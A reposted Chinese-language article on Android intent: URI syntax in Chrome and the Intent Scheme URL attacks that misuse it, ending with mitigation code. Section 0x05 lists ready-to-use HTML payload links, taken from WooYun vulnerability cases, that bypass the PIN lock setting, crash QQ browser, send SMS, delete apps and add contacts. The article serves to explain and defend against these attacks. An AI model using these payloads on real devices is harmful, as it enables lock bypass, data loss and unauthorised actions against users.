android chrome iframe設定src屬性無法啟動app

來源:互聯網
上載者:User

標籤:des   android   blog   http   io   ar   os   使用   java   

0x01 Android Intents with Chrome

Android有一個很少人知道的特性可以通過web頁面發送intent來啟動apps。以前通過網頁啟動app是通過設定iframe的src屬性,例如:

<iframe src="paulsawesomeapp://page1"> </iframe>

此方法適用version 18或者更早版本。其他android瀏覽器也適用。 這個功能在安卓chrome 瀏覽器version 25之後版本發生了改變。不能在通過設定iframe標籤的src屬性來啟動app了。取而代之的是你應該通過自訂scheme實現使用者手勢啟動app或者使用本文描述的“intent:”文法。

1.1 基本文法

“最佳實務”是構造一個intent插入網頁中使使用者能夠登入app。這為您提供了更多的靈活性在控制應用程式是如何啟動,包括傳通過Intent Extras傳遞額外資訊。 intent-based URI基本文法如下:

intent:   HOST/URI-path // Optional host   #Intent;      package=[string];      action=[string];      category=[string];      component=[string];      scheme=[string];   end;

 

文法細節見源碼Android source

1.2 簡單舉例

例子是一個intent登陸應用“Zxing barcode scanner”,文法如下:

intent:   //scan/   #Intent;      package=com.google.zxing.client.android;      scheme=zxing;   end;

設定a標籤發href屬性:

<a href="intent://scan/#Intent;scheme=zxing;package=com.google.zxing.client.android;end"> Take a QR code </a>

Package和host定義在設定檔中Android Zxing Manifest

1.3 注意事項

如果調用activity的intent包含extras,同樣可以包含這些。 Activity只有配置了category filter才有被android.intent.category.BROWSABLE通過這種方式在瀏覽器中開啟,因為這樣表明其是安全的。

1.4 另請參閱

• Android Intents and Intent Filters

• Android Activities

0x02 利用思路

在Android上的Intent-based攻擊很普遍,這種攻擊輕則導致應用程式崩潰,重則可能演變提權漏洞。當然,通過靜態特徵匹配,Intent-Based的惡意樣本還是很容易被識別出來的。 然而最近出現了一種基於Android Browser的攻擊手段——Intent Scheme URLs攻擊。這種攻擊方式利用了瀏覽器保護措施的不足,通過瀏覽器作為橋樑間接實現Intend-Based攻擊。相比於普通Intend-Based攻擊,這種方式極具隱蔽性,而且由於惡意程式碼後置WebPage中,傳統的特徵匹配完全不起作用。除此之外,這種攻擊還能直接存取跟瀏覽器自身的組件(無論是公開還是私人)和私人檔案,比如cookie檔案,進而導致使用者機密資訊的泄露。

0x03 1.3 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

<script>location.href = "intent:mydata#Intent;action=myaction;type=text/plain;end"</script>  

從用法上看,還是很好理解的,這裡的代碼等價於如下Java代碼:

Intent intent = new Intent("myaction");  intent.setData(Uri.parse("mydata"));  intent.setType("text/plain");  

再看一個例子:

intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end 

上面的語句,等價於如下Java代碼:

Intent intent = new Intent("myaction");  intent.setData(Uri.pase("//foobar/"));  intent.putExtra("xyz", "123");  intent.putExtra("abc", 678);  

其中S代表String類型的key-value,i代表int類型的key-value。 源碼中提供了Intent.parseUri(String uri)靜態方法,通過這個方法可以直接解析uri,如果想更一步瞭解其中的文法,可以查看官方源碼。

0x04 Intent scheme URI的解析及過濾

如果瀏覽器支援Intent Scheme URI文法,一般會分三個步驟進行處理:

  1. 利用Intent.parseUri解析uri,擷取原始的intent對象;
  2. 對intent對象設定過濾規則,不同的瀏覽器有不同的策略,後面會詳細介紹;
  3. 通過Context.startActivityIfNeeded或者Context.startActivity發送intent; 其中步驟2起關鍵作用,過濾規則缺失或者存在缺陷都會導致Intent Schem URL攻擊。

關鍵函數

Intent.parseUri()

繞過

Intent.setComponent(null);

使用sel;

0x05 烏雲案例

WooYun: qq瀏覽器IntentScheme處理不當

WooYun: 傲遊雲瀏覽器遠程隱私泄露漏洞(需要一定條件)

某瀏覽器對此支援非常好

<a href="intent:#Intent;action=android.settings.SETTINGS;S.:android:show_fragment=com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment;B.confirm_credentials=false;end">   設定繞過Pin碼(android 3.0-4.3)</a>

<a href="intent:#Intent;component=com.tencent.mtt/com.tencent.mtt.debug.DbgMemWatch;end">    qq瀏覽器崩潰</a>

<a href="intent:http://drops.wooyun.org/webview.html#Intent;component=com.android.browser/com.android.browser.BrowserActivity;end">    開啟原生瀏覽器</a>

<a href="intent:smsto:10000#Intent;action=android.intent.action.SENDTO;end">   傳送簡訊</a><br>
<a href="intent:#Intent;action=android.media.action.STILL_IMAGE_CAMERA;end">   開啟相機</a><br>
<a href="intent:package:org.wooyun.hiwooyun#Intent;action=android.intent.action.DELETE;end">   刪除應用</a><br>
<a href="intent:#Intent;action=android.intent.action.INSERT_OR_EDIT;S.name=magic;S.phone=+8610000;i.phone_type=2;type=vnd.android.cursor.item/person;end">    新增連絡人...</a><br>
0x06 修複

通過以上漏洞的描述,總結得出一種相對比較安全的Intent Filter方法,代碼如下:

// convert intent scheme URL to intent object  Intent intent = Intent.parseUri(uri);  // forbid launching activities without BROWSABLE category  intent.addCategory("android.intent.category.BROWSABLE");  // forbid explicit call  intent.setComponent(null);  // forbid intent with selector intent  intent.setSelector(null);  // start the activity by the intent  context.startActivityIfNeeded(intent, -1);  
0x07 參考

http://www.mbsd.jp/Whitepaper/IntentScheme.pdf http://blog.csdn.net/l173864930/article/details/36951805

android chrome iframe設定src屬性無法啟動app

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.